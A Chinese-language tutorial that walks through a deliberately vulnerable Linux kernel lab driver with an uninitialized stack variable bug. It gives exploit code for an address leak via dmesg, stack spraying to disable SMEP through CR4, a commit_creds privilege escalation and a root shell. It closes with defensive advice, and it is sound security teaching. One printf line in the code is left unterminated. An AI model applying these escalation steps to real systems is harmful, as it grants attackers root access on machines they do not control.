linux内核提权系列教程(3):栈变量未初始化漏洞
字数 1115 2025-08-25 22:59:09
Linux内核提权系列教程(3): 栈变量未初始化漏洞分析与利用
一、漏洞概述
本教程将详细讲解Linux内核中栈变量未初始化漏洞的原理、分析和利用方法。这种漏洞类型在内核开发中较为常见,可能导致权限提升等严重后果。
二、实验环境准备
实验所需材料:
- 驱动源码
- bzImage (内核镜像)
- cpio文件 (根文件系统)
可从作者的GitHub仓库获取这些材料。
三、漏洞分析
1. 驱动功能分析
驱动提供了两个主要功能,通过ioctl系统调用实现:
case UNINITIALISED_STACK_ALLOC: {
ret = copy_to_stack((char *)p_arg);
break;
}
case UNINITIALISED_STACK_USE: {
use_obj_args use_obj_arg;
if (copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
return -EINVAL;
use_stack_obj(&use_obj_arg);
break;
}
功能1: UNINITIALISED_STACK_ALLOC
#define BUFF_SIZE 4096
noinline static int copy_to_stack(char __user *user_buff) {
int ret;
char buff[BUFF_SIZE];
ret = copy_from_user(buff, user_buff, BUFF_SIZE);
buff[BUFF_SIZE - 1] = 0;
return ret;
}
此功能允许用户向内核栈上传入最多4096字节的数据。
功能2: UNINITIALISED_STACK_USE
noinline static void use_stack_obj(use_obj_args *use_obj_arg) {
volatile stack_obj s_obj; // volatile防止编译器优化
if (use_obj_arg->option == 0) {
s_obj.fn = uninitialised_callback;
s_obj.fn_arg = use_obj_arg->fn_arg;
}
s_obj.fn(s_obj.fn_arg);
}
相关数据结构:
typedef struct stack_obj {
int do_callback;
long fn_arg;
void (*fn)(long);
char buff[48];
} stack_obj;
typedef struct use_obj_args {
int option;
long fn_arg;
} use_obj_args;
2. 漏洞点分析
关键漏洞在于use_stack_obj函数中:
- 只有当
use_obj_arg->option == 0时,才会初始化stack_obj对象 - 如果
option != 0,s_obj将保持未初始化状态 - 但无论如何都会调用
s_obj.fn(s_obj.fn_arg)
这导致了内核栈变量未初始化引用错误,攻击者可以控制未初始化的栈数据。
四、漏洞利用
1. 利用思路
- 利用
UNINITIALISED_STACK_ALLOC功能布置内核栈 - 通过
UNINITIALISED_STACK_USE触发未初始化变量使用 - 控制执行流实现提权
2. 详细利用步骤
(1) 单核执行
void force_single_core() {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(0, &mask);
if (sched_setaffinity(0, sizeof(mask), &mask))
printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault\n");
return;
}
确保程序只在单核上运行,避免多核带来的问题。
(2) 泄露内核基址
pid_t pid = fork();
if (pid == 0){
do_page_fault();
exit(0);
}
int status;
wait(&status);
printf("[+] Begin to leak address by dmesg;
size_t kernel_base = get_info_leak() - sys_ioctl_offset;
printf("[+] Kernel base addr : %p [+]\n", kernel_base);
通过制造页错误从dmesg中泄露内核地址。
(3) 关闭SMEP
char buf[4096];
memset(buf, 0, sizeof(buf));
struct use_obj_args use_obj = {
.option = 1,
.fn_arg = 1337,
};
for (int i = 0; i < 4096; i += 16) {
memcpy(buf + i, &fake_cr4, 8); // fake_cr4地址
memcpy(buf + i + 8, &native_write_cr4_addr, 8); // native_write_cr4_addr地址
}
ioctl(fd, UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);
通过覆盖CR4寄存器关闭SMEP保护。
(4) 提权
size_t get_root_addr = &get_root;
memset(buf, 0, sizeof(buf));
for (int i = 0; i < 4096; i += 8)
memcpy(buf + i, &get_root_addr, 8);
ioctl(fd, UNINITIALISED_STACK_ALLOC, buf);
ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);
执行commit_creds(prepare_kernel_cred(0))实现提权。
(5) 获取root shell
if (getuid() == 0) {
printf("[+] Congratulations! You get root shell !!! [+]\n");
system("/bin/sh");
}
五、关键点总结
- 漏洞本质:条件分支中变量初始化不完整,导致未初始化栈变量被使用
- 利用前提:能够控制或预测未初始化栈变量的内容
- 利用技巧:
- 通过
UNINITIALISED_STACK_ALLOC布置内核栈 - 精心构造数据覆盖未初始化变量
- 分阶段利用:先泄露地址,再关闭保护,最后提权
- 通过
- 防御绕过:需要处理SMEP/SMAP等保护机制
六、防御建议
- 始终初始化栈变量
- 使用编译器选项检测未初始化变量(如GCC的
-Wuninitialized) - 启用内核栈保护机制(如STACKLEAK, STACKPROTECTOR)
- 保持SMEP/SMAP启用状态
通过本教程,读者可以深入理解栈变量未初始化漏洞的原理和利用方法,为内核安全研究和防御提供参考。